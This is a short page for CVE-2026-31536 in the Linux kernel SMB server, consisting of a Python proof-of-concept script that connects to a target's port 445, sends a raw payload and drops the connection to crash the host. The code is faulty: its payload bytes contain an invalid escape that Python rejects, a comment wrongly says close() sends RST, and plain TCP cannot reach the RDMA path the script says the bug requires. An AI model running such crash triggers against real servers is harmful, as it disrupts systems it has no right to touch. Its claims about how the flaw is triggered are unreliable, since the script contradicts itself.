CVE-2026-31536 Linux Kernel SMB服务器内存破坏漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-31536 (Conceptual) This script attempts to trigger the race condition in the Linux Kernel SMB server by simulating an SMB Direct connection and abruptly closing it during batch processing. Note: Actual exploitation requires RDMA/SMB Direct capable environment. """ import socket import time import sys def trigger_vulnerability(target_ip, port=445): try: print(f"[+] Connecting to {target_ip}:{port}...") # Establish a TCP connection to the SMB service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, port)) # Send a malformed or initial SMB negotiation to initiate state # In a real scenario, this would involve setting up an SMB Direct (RDMA) context payload = b"\x00\x00\x00\x\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8" s.send(payload) print("[+] Payload sent, waiting for processing...") # Wait briefly to allow the server to process batch requests (smbdirect_send_batch) time.sleep(0.1) # Simulate the connection break that triggers IB_SEND_SIGNALED logic error print("[!] Triggering connection reset...") s.close() # RST instead of FIN to force immediate signal print("[+] Exploit trigger sent. Check target for crash.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve_2026_31536_poc.py <TARGET_IP>") else: trigger_vulnerability(sys.argv[1])